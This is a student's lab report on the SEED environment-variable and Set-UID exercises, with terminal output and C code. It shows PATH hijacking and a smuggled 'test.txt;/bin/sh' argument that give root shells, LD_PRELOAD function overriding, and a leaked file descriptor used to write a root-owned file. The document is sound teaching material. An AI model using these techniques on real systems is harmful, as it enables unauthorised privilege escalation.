Environmental Variables

Rahul M Menon
CB.SC.P2CYS23015

Task 1: Manipulating Environment Variables

The task is just to get to know basic environment variable visualization / manipulation commands

Printenv

```
[09/25/23]seed@VM:~/.../Labsetup$ printenv
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1996,unix/VM:/tmp/.ICE-uni
x/1996
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1931
GTK_MODULES=gail:atk-bridge
DBUS_STARTER_BUS_TYPE=session
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:b
d=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41
:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=
```

Printenv pwd

```
[09/25/23]seed@VM:~/.../Labsetup$ printenv PWD
/home/seed/Desktop/Labsetup
```

Unset

```
[09/25/23]seed@VM:~$ export TEST=123
[09/25/23]seed@VM:~$ printenv TEST
123
[09/25/23]seed@VM:~$ env |grep TEST
TEST=123
[09/25/23]seed@VM:~$ unseet TEST

Command 'unseet' not found, did you mean:

  command 'unseen' from deb mmh (0.4-2)
  command 'unseen' from deb nmh (1.7.1-6)

Try: sudo apt install <deb name>

[09/25/23]seed@VM:~$ unset TEST
[09/25/23]seed@VM:~$ printenv TEST
```

Task 2: Passing Environment Variables from Parent Process to Child Process

There is a difference in the environment variables of child and parent process

```
[09/25/23]seed@VM:~/.../Labsetup$ nano myprintenv.c
[09/25/23]seed@VM:~/.../Labsetup$ nano myprintenv.c
[09/25/23]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o printenv
[09/25/23]seed@VM:~/.../Labsetup$ nano myprintenv.c
[09/25/23]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o printenv1
[09/25/23]seed@VM:~/.../Labsetup$ printenv > file1
[09/25/23]seed@VM:~/.../Labsetup$ printenv > file
[09/25/23]seed@VM:~/.../Labsetup$ printenv1 > file1
[09/25/23]seed@VM:~/.../Labsetup$ diff file file1
49c49
< _=/usr/bin/printenv
---
> _=./printenv1
[09/25/23]seed@VM:~/.../Labsetup$
```

Task 3: Environment Variables and execve()

Myenv

The new program must get its environment variables explicitly through the execve call. As we saw from the task, if no environment variables are passed through the call, the program will not have access to them

```
  GNU nano 4.8                                                  myenv.c
#include <unistd.h>

extern char **environ;

int main()
{
  char *argv[2];

  argv[0] = "/usr/bin/env";
  argv[1] = NULL;

  execve("/usr/bin/env", argv, NULL);

  return 0 ;
}
```

```
[09/25/23]seed@VM:~/.../Labsetup$ gcc myenv.c -o myenv1
[09/25/23]seed@VM:~/.../Labsetup$ ./myenv1
[09/25/23]seed@VM:~/.../Labsetup$ nano myprintenv.c
[09/25/23]seed@VM:~/.../Labsetup$ nano myenv.c
[09/25/23]seed@VM:~/.../Labsetup$ gcc myenv.c -o myenv1
[09/25/23]seed@VM:~/.../Labsetup$ ./myenv1
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1996,unix/VM:/tmp/.ICE-unix/1996
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
```

Task 4: Environment Variables and system()

System()

```
  GNU nano 4.8                  system.c
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("/usr/bin/env");
return 0;
}
```

```
[09/25/23]seed@VM:~/.../Labsetup$ nano system.c
[09/25/23]seed@VM:~/.../Labsetup$ gcc system.c -o system1
[09/25/23]seed@VM:~/.../Labsetup$ ./system1
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1996,unix/VM:/tmp
/.ICE-unix/1996
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
```

By using the System() call, the environment variables are passed to the program because it uses exec1 internally, which provides the environment variables to execve automatically.

Task 5: Environment Variable and Set-UID Programs

```
[09/25/23]seed@VM:~/.../Labsetup$ nano environ.c
[09/25/23]seed@VM:~/.../Labsetup$ gcc environ.c -o environ
[09/25/23]seed@VM:~/.../Labsetup$ sudo chow root environ
sudo: chow: command not found
[09/25/23]seed@VM:~/.../Labsetup$ sudo chown root environ
[09/25/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 environ
[09/25/23]seed@VM:~/.../Labsetup$ ./environ
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1996,unix/VM:/tmp/.ICE-uni
x/1996
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
```

```
[09/25/23]seed@VM:~/.../Labsetup$ export PATH="bin/:/usr/bin"
[09/25/23]seed@VM:~/.../Labsetup$ printenv PATH
bin/:/usr/bin
[09/25/23]seed@VM:~/.../Labsetup$ export LD_LIBRARY_PATH="Mylibrary
path"
[09/25/23]seed@VM:~/.../Labsetup$ printenv LD_LIBRARY_PATH
Mylibrarypath
[09/25/23]seed@VM:~/.../Labsetup$ export MY_VAR_ANY="rgdsrgsrg"
[09/25/23]seed@VM:~/.../Labsetup$ printenv MY_VAR_ANY
rgdsrgsrg
```

```
[09/25/23]seed@VM:~/.../Labsetup$ ./environ|grep "MY_VAR_ANY\|LD_LI
BRARY_PATH\|PATH"
WINDOWPATH=2
MY_VAR_ANY=rgdsrgsrg
PATH=bin/:/usr/bin
```

On running the above compiled program and storing the output in a file named printenv, it's seen that the child process inherits the PATH and MY_VAR_ANY environment variable but there is no LD environment variable, as can be seen in the screenshot (on searching for LD in the file, it does not return any values).
This shows that the SET-UID program's child process may not inherit all the environment variables of the parent process, LD_LIBRARY_PATH being one of them over here. This is a security mechanism implemented by the dynamic linker. The LD_LIBRARY_PATH is ignored here because the real user id and effective user id is different. That is why only the other two environment variables are seen in the output

Task 6: The PATH Environment Variable and Set-UID Programs

By creating an executable file called "ls" in the /home/seed directory, and adding that directory to the PATH environment variable, we were able to make the Set-UID process run that executable instead of the "real" ls.

```
  GNU nano 4.8                          ls.c
int main()
{
system("ls");
return 0;
}
```

```
[10/09/23]seed@VM:~/.../Labsetup$ nano ls.c
[10/09/23]seed@VM:~/.../Labsetup$ gcc ls.c -o ls
ls.c: In function ‘main’:
ls.c:3:1: warning: implicit declaration of function ‘system’ [-Wimp
licit-function-declaration]
    3 | system("ls");
      | ^~~~~~
[10/09/23]seed@VM:~/.../Labsetup$ ./ls
a.out       catall.c   file   myenv1        printenv1
cap_leak.c  cleak      file1  myenv.c       system1
catall      environ    ls     myprintenv.c  system.c
catall1     environ.c  ls.c   printenv      test.txt
[10/09/23]seed@VM:~/.../Labsetup$ ls -l ls
-rwxrwxr-x 1 seed seed 16696 Oct  9 06:29 ls
[10/09/23]seed@VM:~/.../Labsetup$ sudo chown root
chown: missing operand after ‘root’
Try 'chown --help' for more information.
[10/09/23]seed@VM:~/.../Labsetup$ sudo chown root ls
[10/09/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 ls
[10/09/23]seed@VM:~/.../Labsetup$ ls -l ls
-rwsr-xr-x 1 root seed 16696 Oct  9 06:29 ls
[10/09/23]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
[10/09/23]seed@VM:~/.../Labsetup$ export PATH=/home/seed:$PATH
[10/09/23]seed@VM:~/.../Labsetup$ ./ls
VM# exit
[10/09/23]seed@VM:~/.../Labsetup$ ls
ls: no such option: color=auto
[10/09/23]seed@VM:~/.../Labsetup$
```

This shows the way in which PATH environment variable can be changed to point to a desired folder and execute the user-defined programs which could be malicious. Since we are using system(), it is potentially dangerous due to the inclusion of shell and the environment variables.

Task 7: The LD PRELOAD Environment Variable and Set-UID Programs

mylib.c

```
  GNU nano 4.8                          mylib.c
#include <stdio.h>
void sleep (int s)
{
printf("i am not sleeping!\n");
}
```

Myprog.c

```
  GNU nano 4.8                          myprog.c
#include <unistd.h>
int main()
{
sleep(1);
return 0;
}
```

```
[09/25/23]seed@VM:~$ gedit mylib.c
[09/25/23]seed@VM:~$ gcc -fPIC -g -c mylib.c
[09/25/23]seed@VM:~$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
[09/25/23]seed@VM:~$ export LD_PRELOAD=./libmylib.so.1.0.1
[09/25/23]seed@VM:~$ nano myprog
[09/25/23]seed@VM:~$ gcc myprog.c -o myprog
```

Running as regular user

```
[09/25/23]seed@VM:~$ gedit myprog.c
[09/25/23]seed@VM:~$ gcc myprog.c -o myprog
[09/25/23]seed@VM:~$ ./myprog
i am not sleeping!
[09/25/23]seed@VM:~$
```

Making it root owned and setuid, then run as normal user

```
[09/25/23]seed@VM:~$ sudo chown root myprog
[09/25/23]seed@VM:~$ sudo chmod 4755 myprog
[09/25/23]seed@VM:~$ ./myprog
[09/25/23]seed@VM:~$
```

Exporting the ld library and running as root

```
[09/25/23]seed@VM:~$ sudo chown root myprog
[09/25/23]seed@VM:~$ sudo chmod 4755 myprog
[09/25/23]seed@VM:~$ ./myprog
[09/25/23]seed@VM:~$ sudo su
root@VM:/home/seed# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed# ./myprog
i am not sleeping!
```

Switching to new user, exporting library and running the program

```
[09/25/23]seed@VM:~$ sudo chown bob myprog
[09/25/23]seed@VM:~$ su bob
Password:
su: Authentication failure
[09/25/23]seed@VM:~$ sudo su
root@VM:/home/seed# su bob
To run a command as administrator (user "root"), use "sudo <co
>".
See "man sudo_root" for details.

bob@VM:/home/seed$ export LD_PRELOAD=./libmylib.so.1.0.1
bob@VM:/home/seed$ ./myprog
i am not sleeping!
```

On running this program as a normal user, we see that the program calls the sleep function defined by us, and prints out the statement defined by us in that function.

Task 8: Invoking External Programs Using system() versus execve()

```
  GNU nano 4.8                                                  catall.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char *v[3];
  char *command;

  if(argc < 2) {
    printf("Please type a file name.\n");
    return 1;
  }

  v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;

  command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
  sprintf(command, "%s %s", v[0], v[1]);

  // Use only one of the followings.
  system(command);
  // execve(v[0], v, NULL);

  return 0 ;
}
```

First we are using the system command in the program

```
[09/25/23]seed@VM:~/.../Labsetup$ nano catall.c
[09/25/23]seed@VM:~/.../Labsetup$ gcc catall.c -o catall
[09/25/23]seed@VM:~/.../Labsetup$ sudo chown root catall
[09/25/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall
[09/25/23]seed@VM:~/.../Labsetup$ ./catall
Please type a file name.
[09/25/23]seed@VM:~/.../Labsetup$ ./catall test.txt
hello
```

```
bob@VM:/home/seed/Desktop/Labsetup$ ./catall test.txt
hello
bob@VM:/home/seed/Desktop/Labsetup$ ./catall test.txt;/bin/sh
hello
$ rm test.txt
rm: remove write-protected regular file 'test.txt'? y
rm: cannot remove 'test.txt': Permission denied
$ exit
bob@VM:/home/seed/Desktop/Labsetup$ ./catall "test.txt;/bin/sh"
hello
# rm test.txt
# exit
bob@VM:/home/seed/Desktop/Labsetup$ ./catall test.txt
/bin/cat: test.txt: No such file or directory
```

Here we could access the root shell when system command was used

Now using execve command

```
[09/25/23]seed@VM:~/.../Labsetup$ nano catall.c
[09/25/23]seed@VM:~/.../Labsetup$ gcc catall.c -o catall1
[09/25/23]seed@VM:~/.../Labsetup$ sudo chown root catall1
[09/25/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall1
```

```
[09/25/23]seed@VM:~/.../Labsetup$ ./catall1 test.txt
hello
[09/25/23]seed@VM:~/.../Labsetup$ ./catall1 "test.txt;/bin/sh"
/bin/cat: 'test.txt;/bin/sh': No such file or directory
```

It is not possible to access the shell when using execve command

Task 9: Capability Leaking

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

void main()
{
  int fd;
  char *v[2];

  /* Assume that /etc/zzz is an important system file,
   * and it is owned by root with permission 0644.
   * Before running this program, you should create
   * the file /etc/zzz first. */
  fd = open("/etc/zzz", O_RDWR | O_APPEND);
  if (fd == -1) {
     printf("Cannot open /etc/zzz\n");
     exit(0);
  }

  // Print out the file descriptor value
  printf("fd is %d\n", fd);

  // Permanently disable the privilege by making the
  // effective uid the same as the real uid
  setuid(getuid());

  // Execute /bin/sh
  v[0] = "/bin/sh"; v[1] = 0;
  execve(v[0], v, 0);
}
```

```
[10/16/23]seed@VM:~/.../Labsetup$ sudo chown root cleak1
[10/16/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 cleak1
[10/16/23]seed@VM:~/.../Labsetup$ ./cleak1
[10/16/23]seed@VM:~/.../Labsetup$ ls -l
total 264
-rwxrwxr-x 1 seed seed 16888 Sep 25 12:01 a.out
-rw-rw-r-- 1 seed seed  1027 Oct 16 05:02 cap_leak1.c
-rw-rw-r-- 1 seed seed   761 Dec 27  2020 cap_leak.c
-rwxrwxr-x 1 seed seed 16928 Oct  9 06:45 catall
-rwsr-xr-x 1 root seed 16928 Sep 25 15:12 catall1
-rw-rw-r-- 1 seed seed   470 Oct  9 06:44 catall.c
-rw-r--r-- 1 root seed 17008 Sep 25 15:23 cleak
-rwsr-xr-x 1 root seed 17040 Oct 16 05:02 cleak1
-rwsr-xr-x 1 root seed 16768 Sep 25 12:50 environ
-rw-rw-r-- 1 seed seed   147 Sep 25 12:50 environ.c
```

```
[11/03/23]seed@VM:~/.../Labsetup$ cat /etc/zzz
hello

[11/03/23]seed@VM:~/.../Labsetup$ echo aaaaa > /etc/zzz
bash: /etc/zzz: Permission denied
[11/03/23]seed@VM:~/.../Labsetup$ ./cleak
fd is 3
sh-4.2$ echo aaaaa >& 3
sh-4.2$ exit
exit
[11/03/23]seed@VM:~/.../Labsetup$ cat /etc/zzz
hello

aaaaa
[11/03/23]seed@VM:~/.../Labsetup$
```

The file zzz at /etc/ path is accessed through the program cap_leak.c after changing the program to root owned and setuid file. When its permissions are changed back and we try to access it says permission denied.